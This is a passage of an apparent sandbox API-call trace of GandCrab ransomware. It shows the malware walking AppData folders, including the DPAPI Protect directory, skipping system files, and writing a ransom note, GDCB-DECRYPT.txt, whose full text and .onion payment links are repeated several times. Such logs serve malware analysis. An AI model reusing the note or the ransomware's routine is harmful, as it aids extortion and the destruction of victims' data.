(x86)") returned 1 [0054.284] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.284] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.284] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.285] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.285] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\") returned 59 [0054.285] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\*" [0054.285] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5b8ab0 [0054.285] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.285] FindNextFileW (in: hFindFile=0x5b8ab0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.285] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.285] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.285] FindNextFileW (in: hFindFile=0x5b8ab0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0054.285] FindClose (in: hFindFile=0x5b8ab0 | out: hFindFile=0x5b8ab0) returned 1 [0054.286] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.286] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\\\GDCB-DECRYPT.txt") returned 76 [0054.286] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\powerpoint\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0054.286] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.286] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0054.287] CloseHandle (hObject=0x4f8) returned 1 [0054.287] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.287] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\") returned 59 [0054.287] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\*" [0054.287] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5b85f0 [0054.287] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.287] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.287] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.287] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.287] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.287] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.287] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.287] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\GDCB-DECRYPT.txt" [0054.287] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.288] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\GDCB-DECRYPT.txt") returned 75 [0054.288] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\GDCB-DECRYPT.txt") returned 75 [0054.288] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\GDCB-DECRYPT.txt") returned 75 [0054.288] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\GDCB-DECRYPT.txt") returned 75 [0054.288] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.288] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.288] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.288] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.288] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.288] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.288] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.288] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.288] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.288] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.288] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0054.288] FindClose (in: hFindFile=0x5b85f0 | out: hFindFile=0x5b85f0) returned 1 [0054.288] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0054.288] lstrcmpW (lpString1="Proof", lpString2=".") returned 1 [0054.288] lstrcmpW (lpString1="Proof", lpString2="..") returned 1 [0054.288] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Proof" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof" [0054.288] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\" [0054.288] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.288] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.288] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.288] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.288] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.288] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.289] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\") returned 54 [0054.289] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\*" [0054.289] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5b8a30 [0054.289] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.289] FindNextFileW (in: hFindFile=0x5b8a30, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.289] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.289] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.289] FindNextFileW (in: hFindFile=0x5b8a30, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0054.289] FindClose (in: hFindFile=0x5b8a30 | out: hFindFile=0x5b8a30) returned 1 [0054.289] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.289] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\\\GDCB-DECRYPT.txt") returned 71 [0054.289] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\proof\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0054.290] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.290] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0054.291] CloseHandle (hObject=0x4f8) returned 1 [0054.291] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.291] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\") returned 54 [0054.291] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\*" [0054.291] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5b8c30 [0054.291] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.291] FindNextFileW (in: hFindFile=0x5b8c30, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.291] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.291] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.291] FindNextFileW (in: hFindFile=0x5b8c30, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.291] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.291] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.291] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\GDCB-DECRYPT.txt" [0054.291] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.291] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\GDCB-DECRYPT.txt") returned 70 [0054.291] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\GDCB-DECRYPT.txt") returned 70 [0054.291] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\GDCB-DECRYPT.txt") returned 70 [0054.291] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\GDCB-DECRYPT.txt") returned 70 [0054.291] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.291] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.291] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.291] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.291] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.292] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.292] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.292] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.292] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.292] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.292] FindNextFileW (in: hFindFile=0x5b8c30, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0054.292] FindClose (in: hFindFile=0x5b8c30 | out: hFindFile=0x5b8c30) returned 1 [0054.292] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0054.292] lstrcmpW (lpString1="Protect", lpString2=".") returned 1 [0054.292] lstrcmpW (lpString1="Protect", lpString2="..") returned 1 [0054.292] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Protect" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect" [0054.292] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\" [0054.292] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.292] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.292] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.292] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.292] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.292] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.292] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\") returned 56 [0054.292] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\*" [0054.292] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5b8c30 [0054.293] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.293] FindNextFileW (in: hFindFile=0x5b8c30, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.293] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.293] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.293] FindNextFileW (in: hFindFile=0x5b8c30, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.293] lstrcmpW (lpString1="CREDHIST", lpString2=".") returned 1 [0054.293] lstrcmpW (lpString1="CREDHIST", lpString2="..") returned 1 [0054.293] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="CREDHIST" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST" [0054.293] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST") returned 64 [0054.293] FindNextFileW (in: hFindFile=0x5b8c30, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.293] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2=".") returned 1 [0054.293] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="..") returned 1 [0054.293] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" [0054.293] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000") returned 101 [0054.293] FindNextFileW (in: hFindFile=0x5b8c30, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.293] lstrcmpW (lpString1="SYNCHIST", lpString2=".") returned 1 [0054.293] lstrcmpW (lpString1="SYNCHIST", lpString2="..") returned 1 [0054.293] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="SYNCHIST" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST" [0054.293] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST") returned 64 [0054.293] FindNextFileW (in: hFindFile=0x5b8c30, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0054.293] FindClose (in: hFindFile=0x5b8c30 | out: hFindFile=0x5b8c30) returned 1 [0054.293] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.293] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\\\GDCB-DECRYPT.txt") returned 73 [0054.293] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0054.303] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.303] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0054.304] CloseHandle (hObject=0x4f8) returned 1 [0054.304] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.304] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\") returned 56 [0054.304] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\*" [0054.304] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5b8cb0 [0054.304] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.304] FindNextFileW (in: hFindFile=0x5b8cb0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.304] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.304] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.304] FindNextFileW (in: hFindFile=0x5b8cb0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.304] lstrcmpW (lpString1="CREDHIST", lpString2=".") returned 1 [0054.304] lstrcmpW (lpString1="CREDHIST", lpString2="..") returned 1 [0054.304] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="CREDHIST" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST" [0054.304] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.305] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST") returned 64 [0054.305] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST") returned 64 [0054.305] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.305] FindNextFileW (in: hFindFile=0x5b8cb0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.305] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.305] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.305] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\GDCB-DECRYPT.txt" [0054.305] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.305] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: 